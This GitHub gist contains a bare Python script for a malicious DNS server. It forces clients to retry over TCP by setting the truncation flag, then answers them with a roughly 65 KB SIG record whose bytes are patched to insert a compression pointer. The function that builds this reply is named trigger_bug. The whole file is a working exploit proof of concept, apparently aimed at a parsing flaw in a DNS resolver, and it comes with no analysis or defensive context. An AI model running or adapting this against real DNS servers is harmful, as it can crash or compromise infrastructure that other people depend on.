Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@h3ku
Created July 17, 2020 11:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h3ku/d1418078e07548032d948840caa45d01 to your computer and use it in GitHub Desktop.
Save h3ku/d1418078e07548032d948840caa45d01 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
# coding=utf-8
import argparse
import datetime
import sys
import time
import threading
import traceback
import socketserver
import struct
import binascii
from dnslib import *
def force_tcp(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1, tc=1), q=request.q)
print("----- Reply to force use of TCP:\n", reply)
return reply.pack()
def trigger_bug(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, rd=1, ra=1), q=request.q)
sig = b"\x00"
sig += b"\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
sig += b"\x00"*65364
payload = RRSIG(
covered = 1,
algorithm = 5,
labels = 0,
orig_ttl = 32,
sig_exp = 1752605215,
sig_inc = 1563216415,
key_tag = 40452,
name = b"\xaa",
sig = sig
)
reply.add_answer(RR(rname=request.q.qname, rtype=24, rclass=1, ttl=32, rdata=payload))
print("----- Reply with payload:\n")
print(request.q.qname)
print(len(request.q.qname))
response = reply.pack()
response[48+len(request.q.qname)] = 192
response[49+len(request.q.qname)] = 13
return response
class TCPRequestHandler(socketserver.BaseRequestHandler):
def get_data(self):
data = self.request.recv(8192).strip()
sz = struct.unpack('>H', data[:2])[0]
if sz < len(data) - 2:
raise Exception("Wrong size of TCP packet")
elif sz > len(data) - 2:
raise Exception("Too big TCP packet")
return data[2:]
def send_data(self, data):
sz = struct.pack('>H', len(data))
return self.request.sendall(sz + data)
def handle(self):
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0],
self.client_address[1]))
try:
data = self.get_data()
print(len(data), data)
self.send_data(trigger_bug(data))
except Exception:
traceback.print_exc(file=sys.stderr)
class UDPRequestHandler(socketserver.BaseRequestHandler):
def get_data(self):
return self.request[0].strip()
def send_data(self, data):
return self.request[1].sendto(data, self.client_address)
def handle(self):
now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0],
self.client_address[1]))
try:
data = self.get_data()
print(len(data), data)
##Response to force change to TCP
self.send_data(force_tcp(data))
except Exception:
traceback.print_exc(file=sys.stderr)
def main():
print("Starting nameserver...")
servers = []
servers.append(socketserver.ThreadingUDPServer(('', 53), UDPRequestHandler))
servers.append(socketserver.ThreadingTCPServer(('', 53), TCPRequestHandler))
for s in servers:
thread = threading.Thread(target=s.serve_forever) # that thread will start one more thread for each request
thread.daemon = True # exit the server thread when the main thread terminates
thread.start()
print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name))
try:
while 1:
time.sleep(1)
sys.stderr.flush()
sys.stdout.flush()
except KeyboardInterrupt:
pass
finally:
for s in servers:
s.shutdown()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment